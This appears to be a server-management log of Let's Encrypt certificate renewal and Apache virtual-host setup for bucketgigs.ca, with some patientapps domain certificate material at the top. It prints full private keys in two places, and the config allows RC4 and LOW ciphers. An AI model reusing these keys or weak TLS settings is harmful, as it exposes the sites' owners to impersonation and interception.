BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
jBYyYIzOMIf976lQjRHWp78qEAAwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzBbBgNVHREEVDBSgg9wYXRpZW50YXBwcy5jb22CEnBhdGllbnRh
cHBzaW5jLmNvbYITd3d3LnBhdGllbnRhcHBzLmNvbYIWd3d3LnBhdGllbnRhcHBz
aW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzExNS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAfgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ5YkkYC
AAgAAAUAB3qllgQDAEcwRQIhAMicLS+OKAhViwQjD2OQ+1TaFYqFdrnBgs/q54wk
ffJrAiAAkx/XinNg5PNAilF0IxmHE5vJX+6TjuB8PLaL/6qHZwB1AK9niDtXsE7d
j6bZfvYuqOuBCsdxYPAkXlXWDC/nhYc6AAABnliSRlUAAAQDAEYwRAIgfUzQ5gCf
8gR3Ur4wqaP/rOTnjfod7JdyRcxosJTYxZgCIEtSyBNR2hHy9+/FLA0Hs32DDp/w
UjJJwJMoVJuKFO3sMA0GCSqGSIb3DQEBCwUAA4IBAQCeIJutF1EUKpVI1/zXvzIt
1LPjHUCQFUJZcTqWsLzN9fLtz5o+jpAlPKZAbMumnRFlOlMPCcze7JmoEWgr9UkJ
q7NbqJWIOusc1TmlwXiW4fzzNRjwzwGA7NSioVa1ojSom4ZfSH3B3bLGYam2CFlV
k/p7hE95/veXjARpz7TGpIF0F5EXMMFZJMVOwcNYf/3zA19Ux6JNtYNaYfV48SDz
CbOvpW9StFRgLGd5JNYKCLrfg0zIa4FrJM6VLDhBIgUG1YnBDY8Kh0LFBlX2+cG+
4Ejy8Wc769NqcUWRmN3DkSDcWyx52fDXZWphKliBKMdQXNlh7OHglUWYo+oDfNTg
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC+reO0D7TNtS2v
FsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhpZL45Op4Ck/fz7GyaxxvK
ShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piNNGGjQt8nmm349Lim6lyM
PHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+ileSZTiMGSiHpb0PLxEBQV
vy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5//te+NEO7WPgLCOgCZf2
wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2aM4m6/wxW26qH+fXTz7Ls
y9x4udYHAgMBAAECggEAASwBtVQ9YgTYZq0CWfaJxO8ZQ2xFDdPbRF7dscoyvERz
pP5M6a2L3fokg8HhiSCmdPW9/nQl45Xr1LtgQN3T0YMgbW2Zs+jnbB8IeBrJBeFf
FX3FkPce4Dl7cK66hOSRQByPggofkmefDLS89cYmkO1mR50WZLKRWGBA0sIdfdLi
LZnGwwEH01JL1V3O+ZJr6CKgdpyDrqTP+NEjTtIrAcUMtlyxwHrUDbPExAOYG/Sj
vV2Qgf1QOFCng+zsh8Zv0z6bBx/2Kz515cqFzqqZavVwiX+bqHnI+BAcj0ONgLK3
Rg1Rv5zJRAXn5JQhyVmSyuTtlIpIuUD2HnCmYz0QWQKBgQD+HtXkuxnPwJ2mr0F7
Z7bakHO8SPip7sOfi449k6PrrPWzY4J1ssytV3XddirITUYF6ZCGLc7/82ztXyfz
9HTz8ygeX/ZZqcBLXRLMI4j7qt9w57Pyp2b2yVSxbJ01mej9FS+fEPHEj4HHAS6L
AXLtz1WNj+fzu3g5KfJNjmagaQKBgQDAFu5iL2n0CzXnj8EkqgNavLybgqyyr6HS
KMmsVLtGSumsv83JEb23OkQ8stRIRQl6iofbpA3x47XB5BBxBZIOEY38LC9WVqzQ
DK/5VRwKODXPa6w7UdoIBFZ13dbY87MUKo2IGGRYexxBIabszdapyTYAbw3kEBkL
GQaz5Rb07wKBgQCRuYETD7A3kM9XHL1CVTFomNmlqXrfiAoqXc8NxLKFncOwQWo4
sHXrGXJ/sxnJj3aOQWgdafuAj0lxvdWdchv3IQNql8Efndal4RO8eMw+9bf4eQaa
KiFDeCTXMd/dMwuGxjVu1Dqwa1MSmbzk/cm4UeNPsKxk+qZwsXs/ul9jsQKBgQCY
+mo09a+69KakWN8n9OIhBEhszN/+mlMUjPk37m8K5yQ8OLCJnkBpyNSJRp47RAft
eKAD8x5L8t5QoPHbIOWVoLNkDkhQyUxtkH0g44AmP2fTXdvXjjNGyTWWPusY8tQ+
jjkTFuHreXgiAsvusWtw4lbId6knZQ6cwPyOjjb/LwKBgC5E4+W6389KtgluZxe2
LCkIaITvyiHpC2xw21XE45BPUk64tpeANJl5jDpwm7yAx9bktOiip3I1Os6Hc5KE
jkaAu8dTkKTyaNyNtJpChaEjRotQdnMueUMV+/BdZrziiD0NnyGmCeSFDEJydzT8
HdxsGB6UeepFoFw6EdlpDpDP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-24 06:00:43: Establishing a connection
2026-05-24 06:00:43: Establishing a connection
2026-05-24 06:00:44: 

PUT: /tmp/pkp712750

#!/bin/bash
if [ -d "/var/www/patientappsinc_store/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-24 06:00:44: 

chmod 755 /tmp/pkp712750; /tmp/pkp712750; rm /tmp/pkp712750

2026-05-24 06:00:44: 


1


2026-05-24 06:00:45: Establishing a connection
2026-05-24 06:00:45: 

PUT: /tmp/pkp571449

#!/bin/bash
mkdir -p "/var/www/patientappsinc_store/.well-known/acme-challenge/"
cd "/var/www/patientappsinc_store/.well-known/acme-challenge/"
cat > R4S8oHhojsZsHAn1zvup6_GNj1-jTozhxG9GrwH6anU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
R4S8oHhojsZsHAn1zvup6_GNj1-jTozhxG9GrwH6anU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 R4S8oHhojsZsHAn1zvup6_GNj1-jTozhxG9GrwH6anU
cat > JstVLifYehe-w0vJDi4egcprkVWRbEIN6U2T38mfHyw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
JstVLifYehe-w0vJDi4egcprkVWRbEIN6U2T38mfHyw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 JstVLifYehe-w0vJDi4egcprkVWRbEIN6U2T38mfHyw
cat > rMQMstyUV33IH7HLDyfyAD-twk9NQTEfHxz6Bws8T6E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
rMQMstyUV33IH7HLDyfyAD-twk9NQTEfHxz6Bws8T6E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 rMQMstyUV33IH7HLDyfyAD-twk9NQTEfHxz6Bws8T6E


2026-05-24 06:00:45: 

chmod 755 /tmp/pkp571449; /tmp/pkp571449; rm /tmp/pkp571449

2026-05-24 06:00:45: 




2026-05-24 06:00:52: Establishing a connection
2026-05-24 06:00:52: Establishing a connection
2026-05-24 06:00:52: 

PUT: /tmp/pkp161065

#!/bin/bash
if [ -d "/var/www/bucketgigs_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-24 06:00:53: 

chmod 755 /tmp/pkp161065; /tmp/pkp161065; rm /tmp/pkp161065

2026-05-24 06:00:53: 


1


2026-05-24 06:00:53: Establishing a connection
2026-05-24 06:00:53: 

PUT: /tmp/pkp440723

#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cat > 0F3NT3tqG8ABF8nvOVNoBLCiVFfivnXDoF1z8YZ1xQ8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0F3NT3tqG8ABF8nvOVNoBLCiVFfivnXDoF1z8YZ1xQ8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0F3NT3tqG8ABF8nvOVNoBLCiVFfivnXDoF1z8YZ1xQ8
cat > dTrE2UlLiqRIGvbcAEGHTPiXBU-6bKxMnrDTbQx8cUM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
dTrE2UlLiqRIGvbcAEGHTPiXBU-6bKxMnrDTbQx8cUM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 dTrE2UlLiqRIGvbcAEGHTPiXBU-6bKxMnrDTbQx8cUM


2026-05-24 06:00:53: 

chmod 755 /tmp/pkp440723; /tmp/pkp440723; rm /tmp/pkp440723

2026-05-24 06:00:53: 




2026-05-24 06:01:04: Establishing a connection
2026-05-24 06:01:05: 

PUT: /tmp/pkp803597

#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
rm 0F3NT3tqG8ABF8nvOVNoBLCiVFfivnXDoF1z8YZ1xQ8
rm dTrE2UlLiqRIGvbcAEGHTPiXBU-6bKxMnrDTbQx8cUM


2026-05-24 06:01:05: 

chmod 755 /tmp/pkp803597; /tmp/pkp803597; rm /tmp/pkp803597

2026-05-24 06:01:05: 




2026-05-24 06:01:05: Establishing a connection
2026-05-24 06:01:05: 

PUT: /tmp/pkp349105

#!/bin/bash
temp_file=$(mktemp)
TARGET=be8922daef9a813ed44bb374208016c1.crt

cat > $temp_file <<'endmsg'
c0:8c:13:b6:94:ca:08:36:fe:fe:3b:07:a2:0d:46:3e

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBSkkz/VCh+XDhSIGnpMdbERZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTI0MDUwMjM0WhcNMjYwODIyMDUwMjMzWjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
mlrqGo4wFVif6rzD8JciM4nYKqp3UbfzpGofRymvFlc7n1yVaepNg3j/NzxbpY7I
qF+Oy02gEklI6sIRDcymv3MivWhx4Lq2NvgMkyLi+dYqURj6P0tAvcJBZhLPlDLL
2cPshrmLH1xD+LzKFOaWnQP4BGKUaBp8oiEsH1WI/beQ3ZEORyW5NqyUD2RL8mhW
yICrDih/9XMGWIChxtBd45SSHpqRmYT1kn4/hLJiSc8LmtoOCEWZc2dHoTd32WFy
e7cvct2cVP1aU5tvZElhDNWcnY4mlxDm2y5Rknpg0Ouj0jr3fGB8Y57NcHgZBNBf
39vaUy8I60lJbD1DWUB13QIDAQABo4ICLzCCAiswDgYDVR0PAQH/BAQDAgWgMBMG
A1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFNsBHgFo
szYZJL0fqTnXhq1pXt7SMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHS
MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNy
Lm9yZy8wKwYDVR0RBCQwIoINYnVja2V0Z2lncy5jYYIRd3d3LmJ1Y2tldGdpZ3Mu
Y2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDov
L3IxMi5jLmxlbmNyLm9yZy85MC5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkA
dgDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ5Ykp5zAAAEAwBH
MEUCIEzibCcPDDDvnBWpRrbq1lzhDT8oCYJKbPIFlEyf1Xb0AiEAg9g3a9Orsb+r
pZTbVizRb3np1zAn94xKFuugv8Kpaw8AfwBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0
YXdBIpRS7pVQXwAAAZ5Ykp8SAAgAAAUAB3qntwQDAEgwRgIhAPvIU2xY7ADtAROk
snWvFdMP4iER8J9Ahix7fqKAd6T8AiEA3SrzS0OTad/0A574X+baC+8e5+VLhr5X
X9rN9FVKYYQwDQYJKoZIhvcNAQELBQADggEBABH00ODoqbcFMjqle0JGq2K0RXb0
LQMkj0DjjWs8tFC4i/D2lxUcRyUvOaG7Cy+QnB/1Vd/NaRWktGA0Iz1AAGSMPEJ2
HaLh7sJZqVDQZGK48tc69Kb7bNjYmiIBuCCGzksggq7NirOD0M/iMFs1pmaQ3x3g
zVuk6BYVKDsGlEHaD1OahW65N1Q7hDLGNCW/iX79lAEgTxAA7CYCeTuwCaiPsVqY
MLAO9cBCgbMvFQ8kCwuiOycOmX6O7sPk6dbXfrwW7JgeKbpnWcAofdGLCCQMSSsS
+qZklTC3Mr5dbeuwwPdC3pa6YAnTll3OH4s0smLDUS9FGpf6vzcjZjHAuo4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCaWuoajjAVWJ/q
vMPwlyIzidgqqndRt/Okah9HKa8WVzufXJVp6k2DeP83PFuljsioX47LTaASSUjq
whENzKa/cyK9aHHgurY2+AyTIuL51ipRGPo/S0C9wkFmEs+UMsvZw+yGuYsfXEP4
vMoU5padA/gEYpRoGnyiISwfVYj9t5DdkQ5HJbk2rJQPZEvyaFbIgKsOKH/1cwZY
gKHG0F3jlJIempGZhPWSfj+EsmJJzwua2g4IRZlzZ0ehN3fZYXJ7ty9y3ZxU/VpT
m29kSWEM1ZydjiaXEObbLlGSemDQ66PSOvd8YHxjns1weBkE0F/f29pTLwjrSUls
PUNZQHXdAgMBAAECggEAD0h7L3/uoN5yjxJ7sCG2wDWg0rCoOc4l8JyVVj15WZPv
klrfbGpHnIHpezWduWnG0m0LvXOFKupYru3iNGSUChbDVM+3ntG94vlyfUsSADzF
WdxIQuYXlfJa+VlZdkoFRx2QGNLcRJGlJUbEF4exWAChmQWNvjUJLCButveIJd7U
kh8J1lp1vNmaSsHdxH+lQ6WCYlVPhptb1X9kD5Di5/YvAIN+YAbBp6pm76K8Rkze
3F60kffo6mfZb9KPHu5hr42BuUV4HZoI2RS9qpX9TbVBSJlWNErv1wk2b+8nmqxd
rLR6zbMnLVLbcQbB2+Wo5xlGQJiEDveg5VU+Ctr8XQKBgQDZdXZq5M/ar8CayR4K
xK9hPSBua9kEcBVlyaaftK8Wqv5rtTLoYh9hDmI1b+wdbTitqzI5uSIRrJvqW1ln
fw6IUU6tFLIjlEnOF37pzTBU8td0bbtCBy0tVWX1Ihsny3cxymXttewJoKy2kyGz
m1BN7V1AI5y+j/mKBLU/CIsJIwKBgQC1tk/mMwWA0VpkfTlVUuiqTJQJCa9k9UEg
OnTLE8n+PfLIh4a2sDEVOrAx7PEJruWeT7KF5IWwor6/AcZG5Q34BAOzN6hcB4K6
i9HFfRLRfRyxU1hTPODW6jlKrhcLgE7BcYQup7lV0yio6w8IenGjiEjQ8w/q02ny
49ZQIw/0/wKBgQCy8hAyQnww7zPFq/6GyfewQwbvFtyM5FcXXes5vQvf0XJv27o6
tJQx4A48/w8D4B8l+pzoF0rL1IixP97AZjPlRVNC5qb41EwvxfHwH6PII9Xcv3e7
DADHL2EpaZmDE9HQLUfXZz8HZSr7SvQOwp5AojV8VFHmFsA4LUugxTz0lQKBgGPB
+e1L92p4BKMEaFRiVt8feWnYylSnnCBgVzwh2hPc2Iukc52Z7uhTtuVByjZhsSeP
Y1fEVGzbe9KK29qR53BQa+OY27HiYa+eEQTVnF4rzHPBaM0Rr/Hs1pUcLAShZRso
AcRHSiVG7pyFp1QlPHvl1uv3dLabaB/zWvXVue3rAoGBAJimhlZ+wZFsWdUe+8HG
FR+EPIc/xMgYjtO4DnvssZijWCQyo6MjTrh8DHIW7TAL0wrs9bOSHXUPfXYKO8rU
E71k1M7P//BipEMaoX4S+7b7eff7PVDcHPmBoyycgsZQCvjUOXg4KkXPIt2N/HVE
46xzLwjO9gNjwf3FnECuC248
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-24 06:01:05: 

chmod 755 /tmp/pkp349105; /tmp/pkp349105; rm /tmp/pkp349105

2026-05-24 06:01:05: 


dir=/etc/ssl/certs


2026-05-24 06:01:05: 

PUT: /tmp/pkp488606

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/bucketgigs_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-24 06:01:05: 

chmod 755 /tmp/pkp488606; /tmp/pkp488606; rm /tmp/pkp488606

2026-05-24 06:01:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf 41

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-24 06:01:05: 

PUT: /tmp/pkp686894

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bucketgigs_www_ca.conf
TARGET=/etc/apache2/sites-enabled/bucketgigs_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/bucketgigs_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/bucketgigs_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf= 1'
fi


2026-05-24 06:01:05: 

chmod 755 /tmp/pkp686894; /tmp/pkp686894; rm /tmp/pkp686894

2026-05-24 06:01:05: 




2026-05-24 06:01:05: 

PUT: /tmp/pkp331036

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-24 06:01:05: 

chmod 755 /tmp/pkp331036; /tmp/pkp331036; rm /tmp/pkp331036

2026-05-24 06:01:05: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
